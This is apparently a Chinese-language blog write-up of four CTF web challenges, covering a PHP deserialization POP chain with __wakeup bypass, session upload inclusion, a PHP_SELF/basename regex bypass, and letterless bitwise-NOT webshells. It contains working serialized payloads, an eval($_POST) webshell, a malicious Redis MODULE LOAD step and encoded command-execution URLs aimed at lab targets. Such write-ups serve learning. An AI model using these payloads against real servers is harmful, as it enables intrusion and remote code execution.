前言
换个平台继续刷,碰到什么做什么,然后记录一些比较有意思或者设计知识盲区的题。
[天翼杯 2021]esay_eval
审计源码:
1 | <?php |
发现pop链,不过这个链是比较简单的,我们利用B类中的__destruct()
,B中存在一个a方法,另这个a方法为A类,然后利用魔术方法执行echo指令时由于A类中不存在a方法,因此会调用__call
魔术方法执行eval,但是要绕过__wakeup
。
首先写exp:
1 | <?php |
由于源码中判断了反序列化的属性个数必须为1,这里不能直接改数字绕过,有两种方法:
增加真实属性个数
1
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1;"a";}
大小写绕过,由于类名不区分大小写,因此改小写改值就可以了
1
O:1:"b":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
查看phpinfo,发现命令执行的指令几乎都被禁止了,那么我们先写入shell:
1 | O:1:"b":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:22:"eval($_POST['mrl64']);";}} |
蚁剑连接,这里学到了要上传恶意so文件来连接redis:
恶意so文件
接着使用蚁剑的redis插件连接,密码在html目录下的config.php.swp
文件中,连接后选择db0执行下面的指令:
1 | MODULE LOAD "/var/www/html/exp.so" |
得到flag,这题综合还是挺难的。
[第五空间 2021]EasyCleanup
审计代码:
1 | <?php |
看着好像和rce很像,但是这个过滤几乎把rce的路给堵死了,我们看看phpinfo,发现session.use_strict_mode=0
,且session.upload_process.cleanup
为off,不需要条件竞争。没有session.save_path
,文件默认储存在/tmp/sess_xxxx。因此我们可以利用session包含来解题。
表单:
1 | <form action="http://1.14.71.254:28017/" method="POST" enctype="multipart/form-data"> |
随便上传一个文件,记得注意添加cookie:Cookie: PHPSESSID=233
,然后蚁剑连接即可:
1 | http://1.14.71.254:28017/?file=/tmp/sess_233 |
或者大佬们直接用脚本跑:
1 | import io |
[鹤城杯 2021]EasyP
审计源码:
1 | <?php |
我们要做的是上传一个guess变量和secret的值相同,这想想都不可能,因此这个地方完全没用。我们来看下面一串东西:
1 | $_SERVER['PHP_SELF']:获取当前执行脚本的文件名 |
首先url过滤了show_source
,直接url编码绕过就可以了。而关键部分在highlight_file(basename($_SERVER['PHP_SELF']));
这串上。我们构建payload并开始分析:
1 | http://1.14.71.254:28032/index.php/utils.php/%ff?%73%68%6f%77%5f%73%6f%75%72%63%65 |
首先获取$_SERVER['PHP_SELF']
,这个函数所获取到的内容为/index.php/utils.php/%ff
,接着basename()
会获取路径尾的文件名,即/utils.php/%ff
。
由于文件尾的不可打印字符,可以绕过正则匹配部分,而basename()
在获取名称时会自动丢弃不可打印字符,因此成功读取到目标文件,拿到flag。
hardrce
审计源码:
1 | <?php |
可以看到是一个rce,但是过滤了字母的相当一部分符号,这里就是特殊的无字符webshell了,研究这个的时候发现这一块还挺有意思的,挖个坑之后写篇博客。
返回来题目,这里发现按位取反没有被过滤,因此直接参考p牛的文章:
无数字字母webshell之提高篇
简单的生成payload脚本:
1 | def get(shell): |
构造payload:
1 | ?wllm=(~%8c%86%8c%8b%9a%92)(~%93%8c%df%d0); |